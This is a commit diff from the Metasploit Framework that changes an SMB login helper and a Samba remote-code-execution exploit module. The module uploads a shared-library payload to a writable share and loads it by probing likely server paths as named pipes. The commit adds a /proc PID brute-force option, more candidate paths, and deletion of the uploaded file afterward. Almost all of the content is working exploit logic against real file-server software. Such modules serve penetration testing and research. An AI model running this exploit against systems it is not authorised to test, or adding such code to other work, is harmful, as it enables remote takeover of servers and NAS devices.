Delete the .so, add PID bruteforce option, cleanup

bug/bundler_fix
HD Moore 2017-05-25 16:03:14 -05:00
parent cf7cfa9b2c
commit 18a871d6a4
2 changed files with 67 additions and 16 deletions

View File

@ -125,9 +125,10 @@ module Msf
#
# You should call {#connect} before calling this
#
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
# @return [void]
def smb_login
simple.login(
def smb_login(simple_client = self.simple)
simple_client.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
@ -142,7 +143,7 @@ module Msf
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
end

View File

@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
@ -58,6 +59,11 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
@ -67,7 +73,10 @@ class MetasploitModule < Msf::Exploit::Remote
candidates << datastore['SMB_SHARE_BASE']
end
%W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
@ -174,9 +183,9 @@ class MetasploitModule < Msf::Exploit::Remote
shares
end
def probe_module_path(path)
def probe_module_path(path, simple_client=self.simple)
begin
simple.create_pipe(path)
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
@ -251,24 +260,54 @@ class MetasploitModule < Msf::Exploit::Remote
end
def find_payload
print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
#
# In a perfect world we would find a way make IPC$'s associated CWD
# change to our share path, which would allow the following code:
#
# probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
#
# Until we find a better way, brute force based on common paths
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Tryign to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
end
end
def check
@ -331,7 +370,18 @@ class MetasploitModule < Msf::Exploit::Remote
upload_payload
# Find and execute the payload from the share
find_payload rescue Rex::StreamClosedError
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect